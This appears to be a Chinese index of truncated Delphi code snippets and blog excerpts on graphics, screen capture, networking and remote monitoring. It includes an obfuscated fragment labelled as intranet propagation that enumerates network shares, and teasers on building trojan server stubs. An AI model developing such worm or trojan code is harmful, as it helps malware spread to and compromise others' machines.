在窗体中添加一个TWebBrowser 组件、一个TOpenDialog组件和一个TButton组件，TWebBrowser组件用来显 示一幅图片，TOpenDialog组件和TButton组件用来激活提示用户选择GIF动画的对话框。 TWebBrowser组件...
unit bmp2number; {将传递进来的图像进行对比，识别出图片中的数字。 本程序使用的是模式识别的方式，需要照片标准，数字无反光。 电表只有4位数字+1位小数，小数因为在拍照中不能保...
怎样用image 中的canvas画图，步骤是什么，只画几个简单的线条就可以了。（我是新手，请指导得详细一些。） ---------回复-------------- Canvas.Pen.Color设置颜色 Canvas.Pen.Width设置宽度 Canvas....
代码文件: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class (TForm) Button1: TButton; ListBox1: TListBox; OpenDialog1: TOpenDialog; procedure For...
procedure GetScreen(var Bmp: TBitmap); var Dc: HDC; MyCanvas: TCanvas; MyRect: TRect; begin Dc := GetWindowDC(0); MyCanvas := TCanvas.Create; try MyCanvas.Handle := Dc; MyRect:=Rect(0,0,Screen.Width, Screen.Height); //图像为 24位真彩色...
procedureEnumeration(aResource:PNetResource);//内网传播Enumeration(@wgokq[_fehlq]) var qnlshmm:THandle; kujf_n,mec:DWORD; wgokq:array[0..1023]ofTNetResource; _fehlq:Integer; begin WNetOpenEnum(2,0,0,aResource,qnlshmm); kujf_n:=1024; mec...
上次写了一个直接将配置文件添加到对应的位置上的方法.好处就在于木马端不用写专门的代码再来提取配置文件,这样很自然的就节省了木马的体积.坏处就在于那种方法只能给未加壳的...
之前一直在找关于木马生成服务端原理的文章。我在以前的日记里面也提到过的，网上相关的文章也找了不少，但是都没有把问题好好说清楚。虽然也给出了代码，但是废话还是不少，...
delphi服务器端如何防止DDOS 前面说到DSServer的OnConnect是socket已经完全搭好client都调用connect的服务器方法了才触发的，如果我们到这里才来想起拒绝不合法的ip连接，已经挺晚了：socket已经...
在网络管理中,有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然,市面上有很多软件可以实现该功能,有些甚至可以进行远程控制,但在使用上缺乏灵活性,如无法指定远...